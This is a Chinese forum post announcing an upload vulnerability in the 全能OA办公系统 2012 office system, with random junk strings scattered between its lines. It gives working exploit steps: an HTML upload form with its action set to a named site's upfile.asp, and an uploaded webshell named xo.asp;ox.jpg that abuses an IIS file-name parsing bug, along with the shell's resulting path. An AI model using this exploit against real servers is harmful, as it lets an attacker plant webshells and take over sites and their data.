全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
& \# r$ v; y3 w. B​
# A- k  M9 ]' O& l3 O% X8 F& j系统介绍：
/ o; M+ |  g4 j3 n4 F# D9 E2 ^" o
% X& T# R+ T% \! p全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
: O! m0 }% W+ I: X
$ c2 f3 Z9 T8 ]' P% }+ g主要功能：
' Z/ {0 Y5 U3 n" u, c! P! Z公司通告
工作计划
0 B1 k: |9 O& \9 m通讯助理
* a- \( m9 W9 {6 N4 w( l客户资源
我的公文
. I3 a, P' c( r; }" }. ^* m公文传阅
; O7 D* x  M2 ?, S公共资源
资源预约
今日考勤
( M; u/ V: d7 }7 {9 ?, j  s个人计划
5 L' t( x3 Y" K0 L, ~  q; T个人通讯录
个人基本档案
未读邮件
发邮件
5 ^& {! Q" `. B! ~' s- Q收件夹
4 {* S* O1 [, @' i寄件夹
网络硬盘
  [( W6 D6 |  f3 y5 Y网络会议
网络调查
交流论坛
4 V* T4 y4 j6 t2 {
有兴趣测试的朋友可以下源码看看
. O5 G+ t: a. t; b! F
% }" ^* p4 Z$ }9 A5 N6 O) q源码下载：

2 `4 |* \& D2 f+ w4 p6 whttp://www.mycodes.net/30/4750.htm

漏洞介绍：
6 C. H1 g. H! v6 j
由upfile.asp上传文件漏洞引起

测试方法：
; j+ `( }, @- c# j7 m
. v- [/ ?6 E% `5 l8 {! k使用名小子上传http://www.itlynn.com/upfile.asp即可

如果upfile.asp文件被删除不存在。

  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。
0 R, {0 W. d3 {: U9 H
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
4 h& I+ o1 n4 M- \7 s1 c# x
, w  L) s. t6 j$ c/ u9 O( \% t0 J
4 \) o- M4 R7 E, E( K! |
01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>
: n# I5 W" f; C" ^$ \, C
04             <td>报错：</td>
8 @7 e8 ^$ @0 W3 A# u( M6 C* i
05             <td><input type='radio' name='errnumber' value='0'>
' X: ^- H7 n' ], O: n
8 d" A, a" U* h& b; \06               自动更名
2 K9 D8 Y. F) k! w
: E8 M# q* f7 c# k07               <input type='radio' name='errnumber' value='1' checked>
$ k  a- Y; Q2 S( P. A
08               报错方式

, P' J  Q8 V2 O2 A8 v" E* j  u09               <input type='radio' name='errnumber' value='2'>
( V" e% \; x: g0 v- r
10               直接覆盖</td>

11           </tr>

12           <tr>
. w/ r2 H0 K0 I' `
9 w* |. A* v' B13             <td>主题：</td>
/ C# x+ c5 V0 b- W. B1 U9 U
14             <td><input type='text' name='filename' size='30'></td>

( K! G% O% u9 {( E9 V' w8 H! g15           </tr>
3 J  D6 v) `! {" E
16           <tr>

/ G: p* L- s2 ?+ r, w17             <td>文件：</td>
. F# J2 c4 r! ~8 E3 {
18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>
6 J# r2 N* ]8 I5 j% v- i
4 W% h6 O' t" j& \3 f2 M20           <tr>

21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

1 R7 T2 h) e& |; L  X; l3 B3 R$ V23           </tr>
2 l* C' Z1 k3 V
" Y" G8 K5 U+ `: y) Z. k24   

25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>
, w6 O+ {0 ]" `9 z* V
27         </form>

0 i& r( O( z8 x3 W& }然后打开上传一个文件名为xo.asp;ox.jpg的文件。

: A- Q1 }( \! K' g/ J. e! F) p
: f% I. t5 r+ {3 ~) i
% E5 a$ K# h2 g1 J/ C/ }3 B: G上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
; f* i, `- F0 N( h
; k0 \- l4 U$ B3 {- G; y此漏洞需要配合解析漏洞利用。

/ o( y5 p) s* F! B* z